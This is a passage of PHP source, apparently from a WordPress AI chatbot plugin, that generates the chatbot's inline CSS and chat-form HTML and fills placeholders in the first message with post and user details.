(isset($aiomatic_Chatbot_Settings['background']) && $aiomatic_Chatbot_Settings['background'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'border-color:' . $aiomatic_Chatbot_Settings['background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['input_border_color']) && $aiomatic_Chatbot_Settings['input_border_color'] != '') { $reg_css_code .= 'border-color:' . $aiomatic_Chatbot_Settings['input_border_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['input_text_color']) && $aiomatic_Chatbot_Settings['input_text_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['input_text_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; $reg_css_code .= '#openai-persona-name' . $chatid . '{'; if (isset($aiomatic_Chatbot_Settings['persona_name_color']) && $aiomatic_Chatbot_Settings['persona_name_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['persona_name_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; $reg_css_code .= '#openai-persona-role' . $chatid . '{'; if (isset($aiomatic_Chatbot_Settings['persona_role_color']) && $aiomatic_Chatbot_Settings['persona_role_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['persona_role_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; $reg_css_code .= '.aiomatic-ai-text{'; if (isset($aiomatic_Chatbot_Settings['persona_name_color']) && $aiomatic_Chatbot_Settings['persona_name_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['persona_name_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; $reg_css_code .= '.aiomatic-ai-input{min-height:62px' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); if (isset($aiomatic_Chatbot_Settings['background']) && $aiomatic_Chatbot_Settings['background'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'border-color:' . $aiomatic_Chatbot_Settings['background'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['input_border_color']) && $aiomatic_Chatbot_Settings['input_border_color'] != '') { $reg_css_code .= 'border-color:' . $aiomatic_Chatbot_Settings['input_border_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['input_text_color']) && $aiomatic_Chatbot_Settings['input_text_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['input_text_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; $reg_css_code .= '#openai-persona-name' . $chatid . '{'; if (isset($aiomatic_Chatbot_Settings['persona_name_color']) && $aiomatic_Chatbot_Settings['persona_name_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['persona_name_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; $reg_css_code .= '#openai-persona-role' . $chatid . '{'; if (isset($aiomatic_Chatbot_Settings['persona_role_color']) && $aiomatic_Chatbot_Settings['persona_role_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['persona_role_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; $reg_css_code .= '#aiomatic_chat_input' . $chatid . '::placeholder{'; if (isset($aiomatic_Chatbot_Settings['input_placeholder_color']) && $aiomatic_Chatbot_Settings['input_placeholder_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['input_placeholder_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; $reg_css_code .= '.aiomatic-close-button{'; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['submit_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; $reg_css_code .= '#openai-chat-speech-button' . $chatid . '{margin-top: 5px' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . '}'; $reg_css_code .= '#openai-chat-speech-button' . $chatid . '{'; if ($voice_color != '') { $reg_css_code .= 'background-color:' . $voice_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; $reg_css_code .= '#openai-image-speech-button' . $chatid . '{'; if ($voice_color != '') { $reg_css_code .= 'background-color:' . $voice_color . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; $reg_css_code .= '#aichatsubmitbut' . $chatid . '{margin-top: 5px' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['submit_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['submit_text_color']) && $aiomatic_Chatbot_Settings['submit_text_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['submit_text_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; $reg_css_code .= '#openai-image-chat-speech-button' . $chatid . '{margin-left:20px;} #aiimagechatsubmitbut' . $chatid . '{margin-left:20px;'; if (isset($aiomatic_Chatbot_Settings['submit_color']) && $aiomatic_Chatbot_Settings['submit_color'] != '') { $reg_css_code .= 'background-color:' . $aiomatic_Chatbot_Settings['submit_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } if (isset($aiomatic_Chatbot_Settings['submit_text_color']) && $aiomatic_Chatbot_Settings['submit_text_color'] != '') { $reg_css_code .= 'color:' . $aiomatic_Chatbot_Settings['submit_text_color'] . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $css_added = true; } $reg_css_code .= '}'; if($enable_front_end == 'on' || $enable_front_end == '1' || $enable_front_end == 'true' || $enable_front_end == 'yes' || $enable_front_end == 'front' || $enable_front_end == 'back' || $enable_front_end == 'both') { $reg_css_code .= 'form.aiomatic-window{'; $reg_css_code .= 'display:none;'; $reg_css_code .= '}'; $css_added = true; } if($window_width != '') { preg_match_all('#(\d+)\s*px#i', $window_width, $zamatches); if(isset($zamatches[1][0])) { $myw = intval($zamatches[1][0]) + 100; $wwidth = $myw . 'px'; } else { $wwidth = $window_width; } $reg_css_code .= '@media only screen and (min-width: ' . $wwidth . ') {form.aiomatic-window{'; $reg_css_code .= 'width:' . $window_width . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'max-width:' . $window_width . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= '}}'; $reg_css_code .= '@media only screen and (max-width: ' . $wwidth . ') {form.aiomatic-window{'; $reg_css_code .= 'width:75%' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= 'max-width:75%' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;'); $reg_css_code .= '}}'; $css_added = true; } if($css_added === true) { wp_add_inline_style( $name . 'css-ai-front', $reg_css_code ); } $all_models = aiomatic_get_all_models(); $models = $all_models; if($model != 'default' && !in_array($model, $models)) { $return_me .= 'Invalid model provided!'; return $return_me; } if($temp != 'default' && floatval($temp) < 0 || floatval($temp) > 1) { $return_me .= 'Invalid temperature provided!'; return $return_me; } if($top_p != 'default' && floatval($top_p) < 0 || floatval($top_p) > 1) { $return_me .= 'Invalid top_p provided!'; return $return_me; } if($presence != 'default' && floatval($presence) < -2 || floatval($presence) > 2) { $return_me .= 'Invalid presence_penalty provided!'; return $return_me; } if($frequency != 'default' && floatval($frequency) < -2 || floatval($frequency) > 2) { $return_me .= 'Invalid frequency_penalty provided!'; return $return_me; } // Display the form if($enable_front_end == 'on' || $enable_front_end == '1' || $enable_front_end == 'true' || $enable_front_end == 'yes' || $enable_front_end == 'front' || $enable_front_end == 'back' || $enable_front_end == 'both') { $show_me = '<img src="' . plugins_url('res/icons/1.png', __FILE__) . '">'; if (isset($aiomatic_Chatbot_Settings['chatbot_icon']) && $aiomatic_Chatbot_Settings['chatbot_icon'] != '') { if($aiomatic_Chatbot_Settings['chatbot_icon'] != 'x') { $show_me = '<img src="' . plugins_url('res/icons/' . $aiomatic_Chatbot_Settings['chatbot_icon'] . '.png', __FILE__) . '">'; } elseif (isset($aiomatic_Chatbot_Settings['chatbot_icon_html']) && $aiomatic_Chatbot_Settings['chatbot_icon_html'] != '') { $show_me = trim($aiomatic_Chatbot_Settings['chatbot_icon_html']); if(aiomatic_starts_with($show_me, 'http') === true) { $show_me = '<img src="' . esc_url_raw($show_me) . '" width="32" height="32">'; } } } $return_me .= '<span id="aiomatic-open-button' . $chatid . '" class="aiomatic-open-button aiomatic-window aiomatic-' . $window_location . '" onclick="document.getElementById(\'openai-ai-chat-form-' . $chatid . '\').style.display = \'inherit\';document.getElementById(\'aiomatic-open-button' . $chatid . '\').style.display = \'none\';">' . $show_me . '</span>'; } $return_me .= ' <form id="openai-ai-chat-form-' . $chatid . '" method="post" class="openai-ai-form'; if($enable_front_end == 'on' || $enable_front_end == '1' || $enable_front_end == 'true' || $enable_front_end == 'yes' || $enable_front_end == 'front' || $enable_front_end == 'back' || $enable_front_end == 'both') { $return_me .= ' aiomatic-window aiomatic-' . $window_location; } $return_me .= '">'; if (isset($aiomatic_Chatbot_Settings['show_header']) && $aiomatic_Chatbot_Settings['show_header'] != '' && $show_header == '') { $show_header = $aiomatic_Chatbot_Settings['show_header']; } $hclass = ''; if($show_header != 'show') { $hclass = ' aiomatic-hide'; } if (isset($aiomatic_Chatbot_Settings['show_dltxt']) && $aiomatic_Chatbot_Settings['show_dltxt'] != '' && $show_dltxt == '') { $show_dltxt = $aiomatic_Chatbot_Settings['show_dltxt']; } if (isset($aiomatic_Chatbot_Settings['show_mute']) && $aiomatic_Chatbot_Settings['show_mute'] != '' && $show_mute == '') { $show_mute = $aiomatic_Chatbot_Settings['show_mute']; } if (isset($aiomatic_Chatbot_Settings['show_internet']) && $aiomatic_Chatbot_Settings['show_internet'] != '' && $show_internet == '') { $show_internet = $aiomatic_Chatbot_Settings['show_internet']; } if (isset($aiomatic_Chatbot_Settings['show_clear']) && $aiomatic_Chatbot_Settings['show_clear'] != '' && $show_clear == '') { $show_clear = $aiomatic_Chatbot_Settings['show_clear']; } $tclass = ''; if($show_dltxt != 'show') { $tclass = ' aiomatic-hide'; } $mclass = ''; if($show_mute != 'show' || $chatbot_text_speech == 'off') { $mclass = ' aiomatic-hide'; } $iclass = ''; if(!isset($aiomatic_Main_Settings['internet_chat_short']) || $aiomatic_Main_Settings['internet_chat_short'] != 'on') { $iclass = ' aiomatic-hide'; } else { if($show_internet != 'show' || $internet_access == 'off' || $internet_access == 'disable' || $internet_access == 'disabled' || $internet_access == 'Disabled' || $internet_access === '0' || $internet_access === '0') { $iclass = ' aiomatic-hide'; } } $dclass = ''; if($show_clear != 'show') { $dclass = ' aiomatic-hide'; } $ai_prep = trim($ai_message_preppend, ': '); if($ai_prep != '') { $ai_prep .= ': '; } $user_prep = trim($user_message_preppend, ': '); if($user_prep != '') { $user_prep .= ': '; } if($enable_front_end == 'on' || $enable_front_end == '1' || $enable_front_end == 'true' || $enable_front_end == 'yes' || $enable_front_end == 'front' || $enable_front_end == 'back' || $enable_front_end == 'both') { $return_me .= ' <span class="aiomatic-close-button" onclick="document.getElementById(\'openai-ai-chat-form-' . $chatid . '\').style.display = \'none\';document.getElementById(\'aiomatic-open-button' . $chatid . '\').style.display = \'inherit\';">×</span>'; } if($chatbot_text_speech == 'didstream') { if (isset($aiomatic_Chatbot_Settings['did_height']) && $aiomatic_Chatbot_Settings['did_height'] != '') { $did_height = $aiomatic_Chatbot_Settings['did_height']; } else { $did_height = '300'; } if (isset($aiomatic_Chatbot_Settings['did_width']) && $aiomatic_Chatbot_Settings['did_width'] != '') { $did_width = $aiomatic_Chatbot_Settings['did_width']; } else { $did_width = '300'; } $return_me .= '<div id="aiomatic-video-wrapper' . $chatid . '"> <div class="aiomatic-text-center"> <div id="aiomatic-loading-indicator' . $chatid . '" class="aiomatic-loading-indicator"></div> <video id="talk-video' . $chatid . '" width="' . $did_width . '" height="' . $did_height . '" autoplay="autoplay" muted="muted"></video> </div> </div>'; } if(!empty($custom_header)) { $return_me .= '<div class="openai-custom-header">' . $custom_header . '</div>'; } $return_me .= '<div class="openai-card-header' . $hclass . '"> <div class="w-100"> <div class="openai-d-flex"> <div class="overflow-hidden openai-mr-4">' . $avatar_src . '</div> <div class="openai-widget-user-name"><span id="openai-persona-name' . $chatid . '" class="openai-persona-name openai-font-weight-bold">' . esc_html(trim($ai_message_preppend, ': ')) . '</span><br><span id="openai-persona-role' . $chatid . '" class="openai-persona-role">' . esc_html($ai_role) . '</span></div> </div> </div> <div class="openai-text-right"> <a id="ai-mute-chat' . $chatid . '" class="aiomatic-gg-mute ai-mute-chat template-button mr-2 download-btn' . $mclass . '"><i title="' . esc_html__("Mute/Unmute", 'aiomatic-automatic-ai-content-writer') . '"></i></a> <a id="ai-internet' . $chatid . '" chatid="' . $chatid . '" class="aiomatic-gg-globalist aiomatic-left-padding aiomatic-cursor template-button mr-2 download-btn' . $iclass . '"><i id="aiomatic-globe-overlay-mother' . $chatid . '" class="aiomatic-gg-globe" title="' . esc_html__("Disable Chatbot Internet Access", 'aiomatic-automatic-ai-content-writer') . '"><i id="aiomatic-globe-overlay' . $chatid . '" class="aiomatic-globe-overlay"></i></i></a> <a id="ai-export-txt' . $chatid . '" class="ai-export-txt template-button mr-2 download-btn' . $tclass . '"><i title="' . esc_html__("Export Chat Conversation To File", 'aiomatic-automatic-ai-content-writer') . '" class="openai-file-document"></i></a> <a id="ai-clear-chat' . $chatid . '" class="ai-clear-chat template-button mr-2 download-btn' . $dclass . '"><i title="' . esc_html__("Clear Chat Conversation", 'aiomatic-automatic-ai-content-writer') . '" class="aiomatic-gg-trash"></i></a> </div> </div>'; $return_me .= '<div class="code-form-top-pad form-group"> <div id="aiomatic_chat_history' . $chatid . '" class="aiomatic_chat_history ai-chat form-control"'; if (isset($aiomatic_Chatbot_Settings['enable_copy']) && $aiomatic_Chatbot_Settings['enable_copy'] != '') { $return_me .= ' title="Click on a bubble to copy its content!"'; } $return_me .= '>'; $complete_me = ''; if($thread_id != '') { if($assistant_id != '') { require_once(dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); try { if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(!aiomatic_is_aiomaticapi_key($token) && (!isset($aiomatic_Main_Settings['api_selector']) || trim($aiomatic_Main_Settings['api_selector']) != 'azure')) { $construct = ''; $old_messages = aiomatic_openai_list_messages($token, $thread_id, 100, 'asc'); if(isset($old_messages['data']) && is_array($old_messages['data'])) { foreach($old_messages['data'] as $om) { if(isset($om['content'][0]['text']['value'])) { if($om['role'] == 'user') { $construct .= '<div class="ai-wrapper">'; if($bubble_user_alignment != 'right' && !empty($avatar_url_user) && $show_user_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-mine"></div>'; } $return_me .= '<div class="ai-bubble ai-mine">' . $om['content'][0]['text']['value'] . '</div>'; if($bubble_user_alignment == 'right' && !empty($avatar_url_user) && $show_user_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-mine"></div>'; } $return_me .= '</div>'; } elseif($om['role'] == 'assistant') { $construct .= '<div class="ai-wrapper">'; if($bubble_alignment != 'right' && !empty($avatar_url) && $show_ai_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-other"></div>'; } $return_me .= '<div class="ai-bubble ai-other">' . $om['content'][0]['text']['value'] . '</div>'; if($bubble_alignment == 'right' && !empty($avatar_url) && $show_ai_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-other"></div>'; } $return_me .= '</div>'; } } } } $return_me .= $construct; } } } catch(Exception $e) { aiomatic_log_to_file('Failed to list persistent messages for thread ID: ' . $thread_id); } } } else { if(!empty($chat_history)) { $return_me .= $chat_history; } if($ai_first_message != '') { if(stristr($ai_first_message, '%%') !== false) { $post_link = ''; $post_title = ''; $blog_title = html_entity_decode(get_bloginfo('title')); $post_excerpt = ''; $final_content = ''; $user_name = ''; $featured_image = ''; $post_cats = ''; $post_tagz = ''; $postID = ''; global $post; if(isset($post->ID)) { $post_link = get_permalink($post->ID); $blog_title = html_entity_decode(get_bloginfo('title')); $author_obj = get_user_by('id', $post->post_author); if($author_obj !== false) { $user_name = $author_obj->user_nicename; } $final_content = $post->post_content; $post_title = $post->post_title; $featured_image = ''; wp_suspend_cache_addition(true); $metas = get_post_custom($post->ID); wp_suspend_cache_addition(false); if(is_array($metas)) { $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas); } else { $rez_meta = array(); } if(count($rez_meta) > 0) { foreach($rez_meta as $rm) { if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL)) { $featured_image = $rm[0]; break; } } } if($featured_image == '') { $featured_image = aiomatic_generate_thumbmail($post->ID); } if($featured_image == '' && $final_content != '') { $dom = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML($final_content); libxml_use_internal_errors($internalErrors); $tags = $dom->getElementsByTagName('img'); foreach ($tags as $tag) { $temp_get_img = $tag->getAttribute('src'); if ($temp_get_img != '') { $temp_get_img = strtok($temp_get_img, '?'); $featured_image = rtrim($temp_get_img, '/'); } } } $post_cats = ''; $post_categories = wp_get_post_categories( $post->ID ); foreach($post_categories as $c){ $cat = get_category( $c ); $post_cats .= $cat->name . ','; } $post_cats = trim($post_cats, ','); if($post_cats != '') { $post_categories = explode(',', $post_cats); } else { $post_categories = array(); } if(count($post_categories) == 0) { $terms = get_the_terms( $post->ID, 'product_cat' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_categories[] = $term->slug; } $post_cats = implode(',', $post_categories); } } $post_tagz = ''; $post_tags = wp_get_post_tags( $post->ID ); foreach($post_tags as $t){ $post_tagz .= $t->name . ','; } $post_tagz = trim($post_tagz, ','); if($post_tagz != '') { $post_tags = explode(',', $post_tagz); } else { $post_tags = array(); } if(count($post_tags) == 0) { $terms = get_the_terms( $post->ID, 'product_tag' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_tags[] = $term->slug; } $post_tagz = implode(',', $post_tags); } } $post_excerpt = $post->post_excerpt; $postID = $post->ID; } $ai_first_message = replaceAIPostShortcodes($ai_first_message, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); if (filter_var($ai_first_message, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_first_message, '.txt')) { $txt_content = aiomatic_get_web_page($ai_first_message); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_first_message = $txt_content; $ai_first_message = replaceAIPostShortcodes($ai_first_message, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); } } } } $current_user = wp_get_current_user(); if ( !($current_user instanceof WP_User) || !is_user_logged_in()) { $ai_first_message = str_replace('%%user_name%%', '', $ai_first_message); $ai_first_message = str_replace('%%user_email%%', '' , $ai_first_message); $ai_first_message = str_replace('%%user_display_name%%', '', $ai_first_message); $ai_first_message = str_replace('%%user_role%%', '', $ai_first_message); $ai_first_message = str_replace('%%user_id%%', '' , $ai_first_message); $ai_first_message = str_replace('%%user_firstname%%', '' , $ai_first_message); $ai_first_message = str_replace('%%user_lastname%%', '' , $ai_first_message); $ai_first_message = str_replace('%%user_description%%', '' , $ai_first_message); $ai_first_message = str_replace('%%user_url%%', '' , $ai_first_message); } else { $ai_first_message = str_replace('%%user_name%%', $current_user->user_login, $ai_first_message); $ai_first_message = str_replace('%%user_email%%', $current_user->user_email , $ai_first_message); $ai_first_message = str_replace('%%user_display_name%%', $current_user->display_name , $ai_first_message); $ai_first_message = str_replace('%%user_role%%', implode(',', $current_user->roles), $ai_first_message); $ai_first_message = str_replace('%%user_id%%', $current_user->ID , $ai_first_message); $ai_first_message = str_replace('%%user_firstname%%', $current_user->user_firstname , $ai_first_message); $ai_first_message = str_replace('%%user_lastname%%', $current_user->user_lastname , $ai_first_message); $user_desc = get_the_author_meta( 'description', $current_user->ID ); $ai_first_message = str_replace('%%user_description%%', $user_desc , $ai_first_message); $user_url = get_the_author_meta( 'user_url', $current_user->ID ); $ai_first_message = str_replace('%%user_url%%', $user_url , $ai_first_message); } } $fm = preg_split('/\r\n|\r|\n/', trim($ai_first_message)); $fm = array_filter($fm); if(empty($chat_history)) { $return_me .= '<div class="ai-wrapper">'; if($bubble_alignment != 'right' && !empty($avatar_url) && $show_ai_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-other"></div>'; } $return_me .= '<div class="ai-bubble ai-other">' . $fm[0] . '</div>'; if($bubble_alignment == 'right' && !empty($avatar_url) && $show_ai_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-other"></div>'; } $return_me .= '</div>'; } array_shift($fm); if(count($fm) > 0) { $complete_me .= '<input type="hidden" id="aiomatic_message_input' . $chatid . '" value="' . esc_attr(implode('\r\n', $fm)) . '">'; } } } $return_me .= '</div>'; if(($enable_vision == 'on' || $enable_vision == 'yes' || $enable_vision == '1' || $enable_vision == 'enable' || $enable_vision == 'enabled') && aiomatic_is_vision_model($model, $assistant_id)) { $return_me .= '<input type="file" id="aiomatic_vision_input' . $chatid . '" accept="image/*" class="aiomatic-hide">'; } if($enable_file_uploads) { $return_me .= '<input type="file" id="aiomatic_file_input' . $chatid . '" class="aiomatic-hide">'; } if ($upload_pdf == 'on' || $upload_pdf == 'enabled' || $upload_pdf == 'yes' || $upload_pdf == '1' || (isset($aiomatic_Chatbot_Settings['upload_pdf']) && $aiomatic_Chatbot_Settings['upload_pdf'] == 'on' && $upload_pdf != 'disabled' && $upload_pdf != 'no' && $upload_pdf != '0' && $upload_pdf != 'off')) { if($all_ok === true) { $return_me .= '<input type="file" id="aiomatic_pdf_input' . $chatid . '" accept="application/pdf" class="aiomatic-hide">'; } } $return_me .= '<div class="aiomatic_input_container openai-relative"><textarea id="aiomatic_chat_input' . $chatid . '" rows="2" class="aiomatic_chat_input chat-form-control" placeholder="' . $placeholder . '"'; if(($prompt_editable == 'no' || $prompt_editable === '0' || $prompt_editable == 'off' || $prompt_editable == 'disabled' || $prompt_editable == 'disable' || $prompt_editable == "false") && $prompt_templates !== '') { $return_me .= ' disabled'; } $return_me .= '></textarea>'; if(($enable_vision == 'on' || $enable_vision == 'yes' || $enable_vision == '1' || $enable_vision == 'enable' || $enable_vision == 'enabled') && aiomatic_is_vision_model($model, $assistant_id)) { $return_me .= '<i id="aivisionbut' . $chatid . '" class="aiomatic-gg-image" title="' . esc_html__('Upload an image to the chatbot', 'aiomatic-automatic-ai-content-writer') . '"></i>'; } if($enable_file_uploads) { $return_me .= '<span id="aifilebut' . $chatid . '" class="aiomatic-file-image" title="' . esc_html__('Upload a file to the chatbot', 'aiomatic-automatic-ai-content-writer') . '"><svg viewBox="0 0 64 64" xmlns="http://www.w3.org/2000/svg" stroke-width="3" stroke="' . $go_color . '" fill="none"><g id="SVGRepo_bgCarrier" stroke-width="0"></g><g id="SVGRepo_tracerCarrier" stroke-linecap="round" stroke-linejoin="round"></g><g id="SVGRepo_iconCarrier"><polygon points="25.15 6.32 50.81 6.32 50.81 54.84 13.19 54.84 13.19 19.18 25.15 6.32" stroke-linecap="round"></polygon><polyline points="25.17 6.32 25.15 19.18 13.19 19.18"></polyline><path d="M40.26,34v7.4a.82.82,0,0,1-.82.81H24.56a.82.82,0,0,1-.82-.81V34"></path><polyline points="36.08 30.87 32 26.79 27.93 30.87"></polyline><line x1="32" y1="26.79" x2="32" y2="38.74"></line></g></svg></span>'; } if ($upload_pdf == 'on' || $upload_pdf == 'enabled' || $upload_pdf == 'yes' || $upload_pdf == '1' || (isset($aiomatic_Chatbot_Settings['upload_pdf']) && $aiomatic_Chatbot_Settings['upload_pdf'] == 'on' && $upload_pdf != 'disabled' && $upload_pdf != 'no' && $upload_pdf != '0' && $upload_pdf != 'off')) { if($all_ok === true) { $return_me .= '<span id="aipdfbut' . $chatid . '" class="aiomatic-pdf-image" title="' . esc_html__('Upload a PDF file to the chatbot', 'aiomatic-automatic-ai-content-writer') . '"><svg fill="' . $go_color . '" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 550.801 550.801" xml:space="preserve"><g id="SVGRepo_bgCarrier" stroke-width="0"></g><g id="SVGRepo_tracerCarrier" stroke-linecap="round" stroke-linejoin="round"></g><g id="SVGRepo_iconCarrier"> <g> <g> <path d="M267.342,414.698c-6.613,0-10.884,0.585-13.413,1.165v85.72c2.534,0.586,6.616,0.586,10.304,0.586 c26.818,0.189,44.315-14.576,44.315-45.874C308.738,429.079,292.803,414.698,267.342,414.698z"></path> <path d="M152.837,414.313c-6.022,0-10.104,0.58-12.248,1.16v38.686c2.531,0.58,5.643,0.78,9.903,0.78 c15.757,0,25.471-7.973,25.471-21.384C175.964,421.506,167.601,414.313,152.837,414.313z"></path> <path d="M475.095,131.992c-0.032-2.526-0.833-5.021-2.568-6.993L366.324,3.694c-0.021-0.034-0.062-0.045-0.084-0.076 c-0.633-0.707-1.36-1.29-2.141-1.804c-0.232-0.15-0.475-0.285-0.718-0.422c-0.675-0.366-1.382-0.67-2.13-0.892 c-0.19-0.058-0.38-0.14-0.58-0.192C359.87,0.114,359.037,0,358.203,0H97.2C85.292,0,75.6,9.693,75.6,21.601v507.6 c0,11.913,9.692,21.601,21.6,21.601H453.6c11.908,0,21.601-9.688,21.601-21.601V133.202 C475.2,132.796,475.137,132.398,475.095,131.992z M193.261,463.873c-10.104,9.523-25.072,13.806-42.569,13.806 c-3.882,0-7.391-0.2-10.102-0.58v46.839h-29.35V394.675c9.131-1.55,21.967-2.721,40.047-2.721 c18.267,0,31.292,3.501,40.036,10.494c8.363,6.612,13.985,17.497,13.985,30.322C205.308,445.605,201.042,456.49,193.261,463.873z M318.252,508.392c-13.785,11.464-34.778,16.906-60.428,16.906c-15.359,0-26.238-0.97-33.637-1.94V394.675 c10.887-1.74,25.083-2.721,40.046-2.721c24.867,0,41.004,4.472,53.645,13.995c13.61,10.109,22.164,26.241,22.164,49.37 C340.031,480.4,330.897,497.697,318.252,508.392z M439.572,417.225h-50.351v29.932h47.039v24.11h-47.039v52.671H359.49V392.935 h80.082V417.225z M97.2,366.752V21.601h250.203v110.515c0,5.961,4.831,10.8,10.8,10.8H453.6l0.011,223.836H97.2z"></path> <path d="M386.205,232.135c-0.633-0.059-15.852-1.448-39.213-1.448c-7.319,0-14.691,0.143-21.969,0.417 c-46.133-34.62-83.919-69.267-104.148-88.684c0.369-2.138,0.623-3.828,0.741-5.126c2.668-28.165-0.298-47.179-8.786-56.515 